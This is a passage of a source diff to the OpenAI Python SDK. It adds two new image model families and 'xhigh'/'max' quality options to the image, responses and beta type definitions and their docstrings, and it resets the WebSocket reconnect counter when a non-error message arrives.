+ `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, also support
+ `xhigh` and `max`. Defaults to `auto`.
response_format: The format in which the generated images are returned. Must be one of `url` or
`b64_json`. URLs are only valid for 60 minutes after the image has been
generated. This parameter is only supported for `dall-e-2` (default is `url` for
`dall-e-2`), as GPT image models always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
@@ -1365,7 +1426,7 @@ async def edit(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[str, Literal["256x256", "512x512", "1024x1024", "1536x1024", "1024x1536", "auto"], None]
| Omit = omit,
@@ -1380,16 +1441,17 @@ async def edit(
"""Creates an edited or extended image given one or more source images and a
prompt.
- This endpoint supports GPT Image models (`gpt-image-1.5`, `gpt-image-1`,
- `gpt-image-1-mini`, and `chatgpt-image-latest`) and `dall-e-2`.
+ This endpoint supports GPT Image models and `dall-e-2`.
Args:
image: The image(s) to edit. Must be a supported image file or an array of images.
For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
- `gpt-image-2`, `gpt-image-2-2026-04-21`, and `chatgpt-image-latest`), each image
- should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
- 16 images.
+ `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image should
+ be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to 16
+ images.
For `dall-e-2`, you can only provide one image, and it should be a square `png`
file less than 4MB.
@@ -1405,9 +1467,11 @@ async def edit(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -1421,7 +1485,9 @@ async def edit(
model: The model to use for image generation. One of `dall-e-2` or a GPT image model
(`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`). Defaults to
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`). Defaults to
`gpt-image-1.5`.
n: The number of images to generate. Must be between 1 and 10.
@@ -1441,25 +1507,28 @@ async def edit(
Note that the final image may be sent before the full number of partial images
are generated if the full image is generated more quickly.
- quality: The quality of the image that will be generated for GPT image models. Defaults
- to `auto`.
+ quality: The quality of the image that will be generated for GPT image models. The GPT
+ image models support `low`, `medium`, and `high`. `gpt-image-2.5-sunburst` and
+ `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, also support
+ `xhigh` and `max`. Defaults to `auto`.
response_format: The format in which the generated images are returned. Must be one of `url` or
`b64_json`. URLs are only valid for 60 minutes after the image has been
generated. This parameter is only supported for `dall-e-2` (default is `url` for
`dall-e-2`), as GPT image models always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
@@ -1489,7 +1558,7 @@ async def edit(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[str, Literal["256x256", "512x512", "1024x1024", "1536x1024", "1024x1536", "auto"], None]
| Omit = omit,
@@ -1558,7 +1627,7 @@ async def generate(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "hd", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "hd", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[
str,
@@ -1589,14 +1658,18 @@ async def generate(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- or `gpt-image-2-2026-04-21`). Defaults to `dall-e-2` unless a parameter specific
- to the GPT image models is used.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2` unless a parameter
+ specific to the GPT image models is used.
moderation: Control the content-moderation level for images generated by the GPT image
models. Must be either `low` for less restrictive filtering or `auto` (default
@@ -1624,6 +1697,8 @@ async def generate(
- `auto` (default value) will automatically select the best quality for the
given model.
- `high`, `medium` and `low` are supported for the GPT image models.
+ - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, also support `xhigh` and `max`.
- `hd` and `standard` are supported for `dall-e-3`.
- `standard` is the only option for `dall-e-2`.
@@ -1632,17 +1707,18 @@ async def generate(
after the image has been generated. This parameter isn't supported for the GPT
image models, which always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
stream: Generate the image in streaming mode. Defaults to `false`. See the
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
@@ -1680,7 +1756,7 @@ async def generate(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "hd", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "hd", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[
str,
@@ -1714,14 +1790,18 @@ async def generate(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- or `gpt-image-2-2026-04-21`). Defaults to `dall-e-2` unless a parameter specific
- to the GPT image models is used.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2` unless a parameter
+ specific to the GPT image models is used.
moderation: Control the content-moderation level for images generated by the GPT image
models. Must be either `low` for less restrictive filtering or `auto` (default
@@ -1749,6 +1829,8 @@ async def generate(
- `auto` (default value) will automatically select the best quality for the
given model.
- `high`, `medium` and `low` are supported for the GPT image models.
+ - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, also support `xhigh` and `max`.
- `hd` and `standard` are supported for `dall-e-3`.
- `standard` is the only option for `dall-e-2`.
@@ -1757,17 +1839,18 @@ async def generate(
after the image has been generated. This parameter isn't supported for the GPT
image models, which always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
style: The style of the generated images. This parameter is only supported for
`dall-e-3`. Must be one of `vivid` or `natural`. Vivid causes the model to lean
@@ -1801,7 +1884,7 @@ async def generate(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "hd", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "hd", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[
str,
@@ -1835,14 +1918,18 @@ async def generate(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
model: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT
image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- or `gpt-image-2-2026-04-21`). Defaults to `dall-e-2` unless a parameter specific
- to the GPT image models is used.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2` unless a parameter
+ specific to the GPT image models is used.
moderation: Control the content-moderation level for images generated by the GPT image
models. Must be either `low` for less restrictive filtering or `auto` (default
@@ -1870,6 +1957,8 @@ async def generate(
- `auto` (default value) will automatically select the best quality for the
given model.
- `high`, `medium` and `low` are supported for the GPT image models.
+ - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, also support `xhigh` and `max`.
- `hd` and `standard` are supported for `dall-e-3`.
- `standard` is the only option for `dall-e-2`.
@@ -1878,17 +1967,18 @@ async def generate(
after the image has been generated. This parameter isn't supported for the GPT
image models, which always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
style: The style of the generated images. This parameter is only supported for
`dall-e-3`. Must be one of `vivid` or `natural`. Vivid causes the model to lean
@@ -1921,7 +2011,7 @@ async def generate(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "hd", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "hd", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[
str,
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index 9b96fb546e..f94000c978 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -352,6 +352,15 @@ async def recv_bytes(self) -> bytes:
"""
message = await self._connection.recv(decode=False)
log.debug("Received WebSocket message: %i bytes", len(message))
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
return message
async def send(self, event: RealtimeClientEvent | RealtimeClientEventParam) -> None:
@@ -846,6 +855,15 @@ def recv_bytes(self) -> bytes:
"""
message = self._connection.recv(decode=False)
log.debug("Received WebSocket message: %i bytes", len(message))
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
return message
def send(self, event: RealtimeClientEvent | RealtimeClientEventParam) -> None:
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 4db05d4443..1cb35e2371 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -4093,6 +4093,15 @@ async def recv_bytes(self) -> bytes:
"""
message = await self._connection.recv(decode=False)
log.debug("Received WebSocket message: %i bytes", len(message))
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
return message
async def send(self, event: ResponsesClientEvent | ResponsesClientEventParam) -> None:
@@ -4562,6 +4571,15 @@ def recv_bytes(self) -> bytes:
"""
message = self._connection.recv(decode=False)
log.debug("Received WebSocket message: %i bytes", len(message))
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
return message
def send(self, event: ResponsesClientEvent | ResponsesClientEventParam) -> None:
diff --git a/src/openai/types/beta/beta_response_input_item.py b/src/openai/types/beta/beta_response_input_item.py
index a424d1283c..ae776df388 100644
--- a/src/openai/types/beta/beta_response_input_item.py
+++ b/src/openai/types/beta/beta_response_input_item.py
@@ -515,6 +515,15 @@ class ImageGenerationCall(BaseModel):
agent: Optional[ImageGenerationCallAgent] = None
"""The agent that produced this item."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(BaseModel):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/beta/beta_response_input_item_param.py b/src/openai/types/beta/beta_response_input_item_param.py
index 061d8cd0d5..fe114e9ed9 100644
--- a/src/openai/types/beta/beta_response_input_item_param.py
+++ b/src/openai/types/beta/beta_response_input_item_param.py
@@ -514,6 +514,15 @@ class ImageGenerationCall(TypedDict, total=False):
agent: Optional[ImageGenerationCallAgent]
"""The agent that produced this item."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]]
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None]
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(TypedDict, total=False):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/beta/beta_response_input_param.py b/src/openai/types/beta/beta_response_input_param.py
index 00378ab213..471ce35136 100644
--- a/src/openai/types/beta/beta_response_input_param.py
+++ b/src/openai/types/beta/beta_response_input_param.py
@@ -515,6 +515,15 @@ class ImageGenerationCall(TypedDict, total=False):
agent: Optional[ImageGenerationCallAgent]
"""The agent that produced this item."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]]
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None]
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(TypedDict, total=False):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/beta/beta_response_item.py b/src/openai/types/beta/beta_response_item.py
index 52bbf71da7..35da9e3e5f 100644
--- a/src/openai/types/beta/beta_response_item.py
+++ b/src/openai/types/beta/beta_response_item.py
@@ -354,6 +354,15 @@ class ImageGenerationCall(BaseModel):
agent: Optional[ImageGenerationCallAgent] = None
"""The agent that produced this item."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(BaseModel):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/beta/beta_response_output_item.py b/src/openai/types/beta/beta_response_output_item.py
index 5c52f5e19a..4f41ed3423 100644
--- a/src/openai/types/beta/beta_response_output_item.py
+++ b/src/openai/types/beta/beta_response_output_item.py
@@ -352,6 +352,15 @@ class ImageGenerationCall(BaseModel):
agent: Optional[ImageGenerationCallAgent] = None
"""The agent that produced this item."""
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
+ """The quality of the image generated by the image generation tool call.
+
+ One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
+ """
+
+ size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
+ """The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
+
class LocalShellCallAction(BaseModel):
"""Execute a shell command on the server."""
diff --git a/src/openai/types/beta/beta_tool.py b/src/openai/types/beta/beta_tool.py
index faa0ed24ee..68f79d83a1 100644
--- a/src/openai/types/beta/beta_tool.py
+++ b/src/openai/types/beta/beta_tool.py
@@ -261,14 +261,17 @@ class ImageGeneration(BaseModel):
"""Whether to generate a new image or edit an existing image. Default: `auto`."""
background: Optional[Literal["transparent", "opaque", "auto"]] = None
- """
- Allows to set transparency for the background of the generated image(s). Must be
- one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
- the model will automatically determine the best background for the image.
+ """Allows to set transparency for the background of the generated image(s).
+
+ Must be one of `transparent`, `opaque`, or `auto` (default value). When `auto`
+ is used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
"""
input_fidelity: Optional[Literal["high", "low"]] = None
@@ -292,6 +295,10 @@ class ImageGeneration(BaseModel):
"gpt-image-1-mini",
"gpt-image-2",
"gpt-image-2-2026-04-21",
+ "gpt-image-2.5-sunburst",
+ "gpt-image-2.5-sunburst-2026-09-08",
+ "gpt-image-2.5-flare",
+ "gpt-image-2.5-flare-2026-09-08",
"gpt-image-1.5",
"chatgpt-image-latest",
],
@@ -300,7 +307,10 @@ class ImageGeneration(BaseModel):
"""The image generation model to use.
One of `gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default: `gpt-image-1`.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`. Default:
+ `gpt-image-1`.
"""
moderation: Optional[Literal["auto", "low"]] = None
@@ -321,25 +331,29 @@ class ImageGeneration(BaseModel):
to 3.
"""
- quality: Optional[Literal["low", "medium", "high", "auto"]] = None
+ quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
"""The quality of the generated image.
- One of `low`, `medium`, `high`, or `auto`. Default: `auto`.
+ The GPT image models support `low`, `medium`, and `high`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, also support `xhigh` and `max`. Default: `auto`.
"""
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024", "auto"], None] = None
"""The size of the generated images.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are
- supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height
- must both be divisible by 16 and the requested aspect ratio must be between 1:3
- and 3:1. Resolutions above `2560x1440` are experimental, and the maximum
- supported resolution is `3840x2160`. The requested size must also satisfy the
- model's current pixel and edge limits. The standard sizes `1024x1024`,
- `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is
- supported for models that allow automatic sizing. For `dall-e-2`, use one of
- `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`,
- `1792x1024`, or `1024x1792`.
+ For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
